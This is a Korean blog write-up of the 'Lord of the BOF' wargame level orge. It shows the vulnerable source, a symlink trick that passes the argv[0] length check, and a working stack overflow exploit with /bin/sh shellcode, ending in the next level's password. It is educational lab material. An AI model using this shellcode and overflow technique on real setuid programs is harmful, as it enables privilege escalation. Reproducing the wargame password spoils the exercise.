ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL7] (darkelf -> orge) : check argv[0]
    Wargame/LordOfTheBof (redhat) 2013. 6. 27. 16:45

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - orge
            - check argv[0]
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// here is changed!
    	if(strlen(argv[0]) != 77){
    		printf("argv[0] error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// check the length of argument
    	if(strlen(argv[1]) > 48){
    		printf("argument is too long!\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    }
    

    이제는 argv[0]도 검사한다. (argv[0]은 파일 명이다)

    말인즉슨, 파일명이 77자가 아니면 프로그램이 종료된다는 뜻.

    조금 쌩뚱맞다고 생각할 수도 있지만 이는 다음 LEVEL을 풀기 위한 몸풀기이니 여유롭게 풀어보자.


    2. argv[0]을 77자로...

    여러 방법이 있지만 다음 LEVEL을 위해 심볼릭 링크로 문제를 풀도록 하겠다. (무슨말인지는 다음 LEVEL을 보면 안다)


    우선 파일명(argv[0])을 변경하기에 앞서, 이전 LEVEL과 마찬가지로 shellcode가 들어갈 argv[1]의 주소를 출력하도록 소스를 변경하고, 컴파일 하자.

    [darkelf@localhost darkelf]$ cp orge.c orga.c

    [darkelf@localhost darkelf]$ vi orga.c 

    // ...중략...
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    	printf("%#x\n", argv[1]); // <- 이 한줄을 추가
    }

    [darkelf@localhost darkelf]$ gcc -o orga orga.c 


    이제 파일명(argv[0])을 심볼릭 링크를 걸어서 변경하자.

    경로를 알려주는 ./ 가 포함되기 때문에 2자를 뺀 75자로 심볼릭 링크 파일을 만든다.

    [darkelf@localhost darkelf]$ ln -s orga `python -c "print 'A'*75"`

    [darkelf@localhost darkelf]$ ls -l

    total 40

    lrwxrwxrwx    1 darkelf  darkelf         4 Jun 27 16:26 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> orga

    -rwxrwxr-x    1 darkelf  darkelf     12736 Jun 27 16:19 orga

    -rw-r--r--    1 darkelf  darkelf       825 Jun 27 16:19 orga.c

    -rwsr-sr-x    1 orge     orge        12700 Mar  1  2010 orge

    -rw-r--r--    1 root     root          800 Mar 29  2010 orge.c


    이제 이를 실행해 shellcode가 있는 argv[1]의 주소를 구하자.

    [darkelf@localhost darkelf]$ `python -c "print './' + 'A'*75"` `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    0xbffffb9d

    Segmentation fault

    이제 출력된 argv[1]의 주소 0xbffffb9d을 이용해 Exploit을 진행하자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 25 Byte)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


    아래는 최종 구성이다.

    shellcode 

    NOP 

    SFP

    RET 

     25 Byte

    15 Byte

    4 Byte(NOP) 

    4 Byte 

     40 Byte


    원본파일인 orge또한 심볼릭 링크를 만든 뒤 Exploit을 진행하자.

    [darkelf@localhost darkelf]$ ln -s orge `python -c "print 'B'*75"`

    [darkelf@localhost darkelf]$ bash2

    [darkelf@localhost darkelf]$ `python -c "print './' + 'B'*75"` `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\x9d\xfb\xff\xbf'"`

    1�Ph//shh/bin��PS��1Ұ

                         �����������������������

    bash$ my-pass

    euid = 507

    timewalker


    성공 !


Designed by Tistory.